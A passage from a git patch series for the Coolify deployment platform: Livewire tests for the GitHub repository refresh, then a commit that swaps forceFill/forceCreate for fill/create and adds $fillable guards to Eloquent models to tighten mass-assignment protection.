=> function () use (&$callCount, $initialRepos, $updatedRepos) { + $callCount++; + $repos = $callCount === 1 ? $initialRepos : $updatedRepos; + return Http::response([ + 'total_count' => count($repos), + 'repositories' => $repos, + ], 200); + }, + ]); + + $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->call('loadRepositories', $this->githubApp->id) + ->assertSet('total_repositories_count', 1); + + // Simulate new repos becoming available after changing access on GitHub $component ->call('loadRepositories', $this->githubApp->id) ->assertSet('total_repositories_count', 3) ->assertSet('current_step', 'repository'); }); + test('loadRepositories resets branches when refreshing', function () { + $repos = [ + ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], + ]; + + fakeGithubHttp($repos); + + $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->call('loadRepositories', $this->githubApp->id); + + // Manually set branches to simulate a previous branch load + $component->set('branches', collect([['name' => 'main'], ['name' => 'develop']])); + $component->set('total_branches_count', 2); + + // Refresh repositories should reset branches + fakeGithubHttp($repos); + + $component + ->call('loadRepositories', $this->githubApp->id) + ->assertSet('total_branches_count', 0) + ->assertSet('branches', collect()); + }); + test('refresh button is visible when repositories are loaded', function () { $repos = [ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], @@ -116,11 +154,11 @@ function fakeGithubHttp(array $repositories): void Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) ->call('loadRepositories', $this->githubApp->id) - ->assertSeeHtml('title="Refresh Repository List"'); + ->assertSee('Refresh Repository List'); }); test('refresh button is not visible before repositories are loaded', function () { Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) - ->assertDontSeeHtml('title="Refresh Repository List"'); + ->assertDontSee('Refresh Repository List'); }); }); From 1a603a10ed9502399c155b075a5ec0f93b16682d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 13:45:31 +0200 Subject: [PATCH 90/95] fix(models): replace forceFill/forceCreate with fill/create and add fillable guards Replace all uses of `forceFill`, `forceCreate`, and `forceFill` with their non-force equivalents across models, actions, controllers, and Livewire components. Add explicit `$fillable` arrays to all affected Eloquent models to enforce mass assignment protection. Add ModelFillableCreationTest and ModelFillableRegressionTest to verify that model creation respects fillable constraints and prevent regressions. --- app/Actions/Fortify/ResetUserPassword.php | 2 +- app/Actions/Fortify/UpdateUserPassword.php | 2 +- .../Fortify/UpdateUserProfileInformation.php | 4 +- app/Actions/Server/InstallDocker.php | 2 +- app/Console/Commands/Emails.php | 2 +- .../Controllers/Api/ProjectController.php | 2 +- .../Controllers/Api/ServicesController.php | 2 +- app/Http/Controllers/Webhook/Bitbucket.php | 4 +- app/Http/Controllers/Webhook/Gitea.php | 4 +- app/Http/Controllers/Webhook/Gitlab.php | 4 +- app/Jobs/ProcessGithubPullRequestWebhook.php | 4 +- app/Livewire/Boarding/Index.php | 2 +- app/Livewire/Destination/New/Docker.php | 4 +- app/Livewire/ForcePasswordReset.php | 2 +- app/Livewire/Project/AddEmpty.php | 2 +- app/Livewire/Project/Application/Previews.php | 6 +- app/Livewire/Project/CloneMe.php | 32 +- app/Livewire/Project/New/DockerCompose.php | 2 +- app/Livewire/Project/New/DockerImage.php | 2 +- app/Livewire/Project/New/EmptyProject.php | 2 +- .../Project/New/GithubPrivateRepository.php | 2 +- .../New/GithubPrivateRepositoryDeployKey.php | 2 +- .../Project/New/PublicGitRepository.php | 4 +- app/Livewire/Project/New/SimpleDockerfile.php | 2 +- app/Livewire/Project/Resource/Create.php | 2 +- .../Project/Shared/ResourceOperations.php | 26 +- app/Livewire/Project/Show.php | 2 +- app/Livewire/Server/Destinations.php | 4 +- app/Models/Application.php | 12 +- app/Models/ApplicationDeploymentQueue.php | 1 + app/Models/ApplicationPreview.php | 3 +- app/Models/ApplicationSetting.php | 1 + app/Models/CloudProviderToken.php | 1 + app/Models/Environment.php | 2 + app/Models/GithubApp.php | 2 + app/Models/Project.php | 6 +- app/Models/ProjectSetting.php | 4 +- app/Models/ScheduledDatabaseBackup.php | 2 + .../ScheduledDatabaseBackupExecution.php | 2 + app/Models/ScheduledTask.php | 4 + app/Models/ScheduledTaskExecution.php | 1 + app/Models/Server.php | 3 +- app/Models/ServerSetting.php | 1 + app/Models/Service.php | 5 + app/Models/ServiceApplication.php | 3 +- app/Models/ServiceDatabase.php | 3 +- app/Models/StandaloneClickhouse.php | 6 +- app/Models/StandaloneDocker.php | 1 + app/Models/StandaloneDragonfly.php | 6 +- app/Models/StandaloneKeydb.php | 6 +- app/Models/StandaloneMariadb.php | 6 +- app/Models/StandaloneMongodb.php | 6 +- app/Models/StandaloneMysql.php | 6 +- app/Models/StandalonePostgresql.php | 6 +- app/Models/StandaloneRedis.php | 6 +- app/Models/Subscription.php | 1 + app/Models/SwarmDocker.php | 1 + app/Models/Tag.php | 1 + app/Models/User.php | 5 +- bootstrap/helpers/applications.php | 16 +- bootstrap/helpers/parsers.php | 4 +- bootstrap/helpers/shared.php | 8 +- .../Feature/ApplicationHealthCheckApiTest.php | 2 +- tests/Feature/ApplicationRollbackTest.php | 2 +- .../Feature/ClonePersistentVolumeUuidTest.php | 8 +- tests/Feature/ComposePreviewFqdnTest.php | 6 +- .../DatabaseEnvironmentVariableApiTest.php | 2 +- .../DatabasePublicPortTimeoutApiTest.php | 8 +- .../Feature/DatabaseSslStatusRefreshTest.php | 4 +- tests/Feature/GetLogsCommandInjectionTest.php | 4 +- tests/Feature/GithubPrivateRepositoryTest.php | 2 +- ...nternalModelCreationMassAssignmentTest.php | 4 +- tests/Feature/ModelFillableCreationTest.php | 1114 +++++++++++++++++ tests/Feature/ServiceDatabaseTeamTest.php | 16 +- tests/Feature/StorageApiTest.php | 2 +- tests/Unit/GitRefValidationTest.php | 18 +- tests/Unit/ModelFillableRegressionTest.php | 76 ++ tests/Unit/ServiceParserImageUpdateTest.php | 8 +- tests/v4/Browser/DashboardTest.php | 6 +- 79 files changed, 1411 insertions(+), 142 deletions(-) create mode 100644 tests/Feature/ModelFillableCreationTest.php create mode 100644 tests/Unit/ModelFillableRegressionTest.php diff --git a/app/Actions/Fortify/ResetUserPassword.php b/app/Actions/Fortify/ResetUserPassword.php index 158996c90..5baa8b7ed 100644 --- a/app/Actions/Fortify/ResetUserPassword.php +++ b/app/Actions/Fortify/ResetUserPassword.php @@ -21,7 +21,7 @@ public function reset(User $user, array $input): void 'password' => ['required', Password::defaults(), 'confirmed'], ])->validate(); - $user->forceFill([ + $user->fill([ 'password' => Hash::make($input['password']), ])->save(); $user->deleteAllSessions(); diff --git a/app/Actions/Fortify/UpdateUserPassword.php b/app/Actions/Fortify/UpdateUserPassword.php index 0c51ec56d..320eede0b 100644 --- a/app/Actions/Fortify/UpdateUserPassword.php +++ b/app/Actions/Fortify/UpdateUserPassword.php @@ -24,7 +24,7 @@ public function update(User $user, array $input): void 'current_password.current_password' => __('The provided password does not match your current password.'), ])->validateWithBag('updatePassword'); - $user->forceFill([ + $user->fill([ 'password' => Hash::make($input['password']), ])->save(); } diff --git a/app/Actions/Fortify/UpdateUserProfileInformation.php b/app/Actions/Fortify/UpdateUserProfileInformation.php index c8bfd930a..76c6c0736 100644 --- a/app/Actions/Fortify/UpdateUserProfileInformation.php +++ b/app/Actions/Fortify/UpdateUserProfileInformation.php @@ -35,7 +35,7 @@ public function update(User $user, array $input): void ) { $this->updateVerifiedUser($user, $input); } else { - $user->forceFill([ + $user->fill([ 'name' => $input['name'], 'email' => $input['email'], ])->save(); @@ -49,7 +49,7 @@ public function update(User $user, array $input): void */ protected function updateVerifiedUser(User $user, array $input): void { - $user->forceFill([ + $user->fill([ 'name' => $input['name'], 'email' => $input['email'], 'email_verified_at' => null, diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index 8bb85c7fc..2e08ec6ad 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -49,7 +49,7 @@ public function handle(Server $server) }'); $found = StandaloneDocker::where('server_id', $server->id); if ($found->count() == 0 && $server->id) { - StandaloneDocker::forceCreate([ + StandaloneDocker::create([ 'name' => 'coolify', 'network' => 'coolify', 'server_id' => $server->id, diff --git a/app/Console/Commands/Emails.php b/app/Console/Commands/Emails.php index 462155142..43ba06804 100644 --- a/app/Console/Commands/Emails.php +++ b/app/Console/Commands/Emails.php @@ -136,7 +136,7 @@ public function handle() $application = Application::all()->first(); $preview = ApplicationPreview::all()->first(); if (! $preview) { - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'application_id' => $application->id, 'pull_request_id' => 1, 'pull_request_html_url' => 'http://example.com', diff --git a/app/Http/Controllers/Api/ProjectController.php b/app/Http/Controllers/Api/ProjectController.php index c8638be0d..ec2e300ff 100644 --- a/app/Http/Controllers/Api/ProjectController.php +++ b/app/Http/Controllers/Api/ProjectController.php @@ -258,7 +258,7 @@ public function create_project(Request $request) ], 422); } - $project = Project::forceCreate([ + $project = Project::create([ 'name' => $request->name, 'description' => $request->description, 'team_id' => $teamId, diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 6a742fe1b..fbf4b9e56 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -432,7 +432,7 @@ public function create_service(Request $request) if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($servicePayload, 'connect_to_docker_network', true); } - $service = Service::forceCreate($servicePayload); + $service = Service::create($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; if ($request->has('is_container_label_escape_enabled')) { diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index e59bc6ead..183186711 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -119,7 +119,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::forceCreate([ + $pr_app = ApplicationPreview::create([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -128,7 +128,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::forceCreate([ + $pr_app = ApplicationPreview::create([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index 6ba4b33cf..a9d65eae6 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -144,7 +144,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::forceCreate([ + $pr_app = ApplicationPreview::create([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -153,7 +153,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::forceCreate([ + $pr_app = ApplicationPreview::create([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index fe4f17d9e..08e5d7162 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -177,7 +177,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::forceCreate([ + $pr_app = ApplicationPreview::create([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -186,7 +186,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::forceCreate([ + $pr_app = ApplicationPreview::create([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Jobs/ProcessGithubPullRequestWebhook.php b/app/Jobs/ProcessGithubPullRequestWebhook.php index 01a512439..041cd812c 100644 --- a/app/Jobs/ProcessGithubPullRequestWebhook.php +++ b/app/Jobs/ProcessGithubPullRequestWebhook.php @@ -118,7 +118,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp if (! $found) { if ($application->build_pack === 'dockercompose') { - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, @@ -127,7 +127,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp ]); $preview->generate_preview_fqdn_compose(); } else { - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index 170f0cdea..33c75bf70 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -441,7 +441,7 @@ public function selectExistingProject() public function createNewProject() { - $this->createdProject = Project::forceCreate([ + $this->createdProject = Project::create([ 'name' => 'My first project', 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Destination/New/Docker.php b/app/Livewire/Destination/New/Docker.php index 141235590..6f9b6f995 100644 --- a/app/Livewire/Destination/New/Docker.php +++ b/app/Livewire/Destination/New/Docker.php @@ -77,7 +77,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = SwarmDocker::forceCreate([ + $docker = SwarmDocker::create([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, @@ -88,7 +88,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = StandaloneDocker::forceCreate([ + $docker = StandaloneDocker::create([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, diff --git a/app/Livewire/ForcePasswordReset.php b/app/Livewire/ForcePasswordReset.php index 61a2a20e9..e6392497f 100644 --- a/app/Livewire/ForcePasswordReset.php +++ b/app/Livewire/ForcePasswordReset.php @@ -48,7 +48,7 @@ public function submit() $this->rateLimit(10); $this->validate(); $firstLogin = auth()->user()->created_at == auth()->user()->updated_at; - auth()->user()->forceFill([ + auth()->user()->fill([ 'password' => Hash::make($this->password), 'force_password_reset' => false, ])->save(); diff --git a/app/Livewire/Project/AddEmpty.php b/app/Livewire/Project/AddEmpty.php index a2581a5c9..974f0608a 100644 --- a/app/Livewire/Project/AddEmpty.php +++ b/app/Livewire/Project/AddEmpty.php @@ -30,7 +30,7 @@ public function submit() { try { $this->validate(); - $project = Project::forceCreate([ + $project = Project::create([ 'name' => $this->name, 'description' => $this->description, 'team_id' => currentTeam()->id, diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index c61a4e4a7..c887e9b83 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -196,7 +196,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null, $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::forceCreate([ + $found = ApplicationPreview::create([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url, @@ -210,7 +210,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null, $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { - $found = ApplicationPreview::forceCreate([ + $found = ApplicationPreview::create([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url ?? '', @@ -262,7 +262,7 @@ public function deploy(int $pull_request_id, ?string $pull_request_html_url = nu $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { - $found = ApplicationPreview::forceCreate([ + $found = ApplicationPreview::create([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url ?? '', diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 93eb2a78c..644753c83 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -100,7 +100,7 @@ public function clone(string $type) if ($foundProject) { throw new \Exception('Project with the same name already exists.'); } - $project = Project::forceCreate([ + $project = Project::create([ 'name' => $this->newName, 'team_id' => currentTeam()->id, 'description' => $this->project->description.' (clone)', @@ -139,7 +139,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'status' => 'exited', 'started_at' => null, @@ -188,7 +188,7 @@ public function clone(string $type) 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $newDatabase->id, ]); @@ -217,7 +217,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resource_id' => $newDatabase->id, ]); $newStorage->save(); @@ -230,7 +230,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), @@ -248,7 +248,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill($payload); + ])->fill($payload); $newEnvironmentVariable->save(); } } @@ -259,7 +259,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'environment_id' => $environment->id, 'destination_id' => $this->selectedDestination, @@ -277,7 +277,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => (string) new Cuid2, 'service_id' => $newService->id, 'team_id' => currentTeam()->id, @@ -291,7 +291,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resourceable_id' => $newService->id, 'resourceable_type' => $newService->getMorphClass(), ]); @@ -299,7 +299,7 @@ public function clone(string $type) } foreach ($newService->applications() as $application) { - $application->forceFill([ + $application->fill([ 'status' => 'exited', ])->save(); @@ -317,7 +317,7 @@ public function clone(string $type) 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -346,7 +346,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resource_id' => $application->id, ]); $newStorage->save(); @@ -354,7 +354,7 @@ public function clone(string $type) } foreach ($newService->databases() as $database) { - $database->forceFill([ + $database->fill([ 'status' => 'exited', ])->save(); @@ -372,7 +372,7 @@ public function clone(string $type) 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -401,7 +401,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resource_id' => $database->id, ]); $newStorage->save(); @@ -414,7 +414,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 99fb2efc4..2b92902c6 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -54,7 +54,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $service = Service::forceCreate([ + $service = Service::create([ 'docker_compose_raw' => $this->dockerComposeRaw, 'environment_id' => $environment->id, 'server_id' => (int) $server_id, diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 8becdf585..268333d07 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -133,7 +133,7 @@ public function submit() // Determine the image tag based on whether it's a hash or regular tag $imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag(); - $application = Application::forceCreate([ + $application = Application::create([ 'name' => 'docker-image-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/New/EmptyProject.php b/app/Livewire/Project/New/EmptyProject.php index 1cdc7e098..0360365a9 100644 --- a/app/Livewire/Project/New/EmptyProject.php +++ b/app/Livewire/Project/New/EmptyProject.php @@ -10,7 +10,7 @@ class EmptyProject extends Component { public function createEmptyProject() { - $project = Project::forceCreate([ + $project = Project::create([ 'name' => generate_random_name(), 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 9d4acb9bb..0222008b0 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -191,7 +191,7 @@ public function submit() $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $application = Application::forceCreate([ + $application = Application::create([ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), 'repository_project_id' => $this->selected_repository_id, 'git_repository' => str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index ba058c6ff..f8642d6fc 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -183,7 +183,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::forceCreate($application_init); + $application = Application::create($application_init); $application->settings->is_static = $this->is_static; $application->settings->save(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 6bd71d246..62ac7ec0d 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -299,7 +299,7 @@ public function submit() $new_service['source_id'] = $this->git_source->id; $new_service['source_type'] = $this->git_source->getMorphClass(); } - $service = Service::forceCreate($new_service); + $service = Service::create($new_service); return redirect()->route('project.service.configuration', [ 'service_uuid' => $service->uuid, @@ -346,7 +346,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::forceCreate($application_init); + $application = Application::create($application_init); $application->settings->is_static = $this->isStatic; $application->settings->save(); diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 400b58fea..1073157e6 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -52,7 +52,7 @@ public function submit() if (! $port) { $port = 80; } - $application = Application::forceCreate([ + $application = Application::create([ 'name' => 'dockerfile-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index dbe56b079..966c66a14 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -91,7 +91,7 @@ public function mount() if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($service_payload, 'connect_to_docker_network', true); } - $service = Service::forceCreate($service_payload); + $service = Service::create($service_payload); $service->name = "$oneClickServiceName-".$service->uuid; $service->save(); if ($oneClickDotEnvs?->count() > 0) { diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 301c51be9..f4813dd4c 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -94,7 +94,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'status' => 'exited', @@ -143,7 +143,7 @@ public function cloneTo($destination_id) 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $new_resource->id, ]); @@ -172,7 +172,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resource_id' => $new_resource->id, ]); $newStorage->save(); @@ -185,7 +185,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'database_id' => $new_resource->id, 'database_type' => $new_resource->getMorphClass(), @@ -204,7 +204,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill($payload); + ])->fill($payload); $newEnvironmentVariable->save(); } @@ -221,7 +221,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'destination_id' => $new_destination->id, @@ -242,7 +242,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => (string) new Cuid2, 'service_id' => $new_resource->id, 'team_id' => currentTeam()->id, @@ -256,7 +256,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resourceable_id' => $new_resource->id, 'resourceable_type' => $new_resource->getMorphClass(), ]); @@ -264,7 +264,7 @@ public function cloneTo($destination_id) } foreach ($new_resource->applications() as $application) { - $application->forceFill([ + $application->fill([ 'status' => 'exited', ])->save(); @@ -282,7 +282,7 @@ public function cloneTo($destination_id) 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -307,7 +307,7 @@ public function cloneTo($destination_id) } foreach ($new_resource->databases() as $database) { - $database->forceFill([ + $database->fill([ 'status' => 'exited', ])->save(); @@ -325,7 +325,7 @@ public function cloneTo($destination_id) 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -366,7 +366,7 @@ public function moveTo($environment_id) try { $this->authorize('update', $this->resource); $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); - $this->resource->forceFill([ + $this->resource->fill([ 'environment_id' => $environment_id, ])->save(); if ($this->resource->type() === 'application') { diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index b9628dd0d..e884abb4e 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -42,7 +42,7 @@ public function submit() { try { $this->validate(); - $environment = Environment::forceCreate([ + $environment = Environment::create([ 'name' => $this->name, 'project_id' => $this->project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Server/Destinations.php b/app/Livewire/Server/Destinations.php index f41ca00f3..117b43ad6 100644 --- a/app/Livewire/Server/Destinations.php +++ b/app/Livewire/Server/Destinations.php @@ -43,7 +43,7 @@ public function add($name) return; } else { - SwarmDocker::forceCreate([ + SwarmDocker::create([ 'name' => $this->server->name.'-'.$name, 'network' => $this->name, 'server_id' => $this->server->id, @@ -57,7 +57,7 @@ public function add($name) return; } else { - StandaloneDocker::forceCreate([ + StandaloneDocker::create([ 'name' => $this->server->name.'-'.$name, 'network' => $name, 'server_id' => $this->server->id, diff --git a/app/Models/Application.php b/app/Models/Application.php index bdc76eb33..fef6f6e4c 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -203,6 +203,14 @@ class Application extends BaseModel 'restart_count', 'last_restart_at', 'last_restart_type', + 'uuid', + 'environment_id', + 'destination_id', + 'destination_type', + 'source_id', + 'source_type', + 'repository_project_id', + 'private_key_id', ]; protected $appends = ['server_status']; @@ -262,7 +270,7 @@ protected static function booted() } } if (count($payload) > 0) { - $application->forceFill($payload); + $application->fill($payload); } // Buildpack switching cleanup logic @@ -299,7 +307,7 @@ protected static function booted() } }); static::created(function ($application) { - ApplicationSetting::forceCreate([ + ApplicationSetting::create([ 'application_id' => $application->id, ]); $application->compose_parsing_version = self::$parserVersion; diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 21cb58abe..67f28523c 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -44,6 +44,7 @@ class ApplicationDeploymentQueue extends Model 'application_id', 'deployment_uuid', 'pull_request_id', + 'docker_registry_image_tag', 'force_rebuild', 'commit', 'status', diff --git 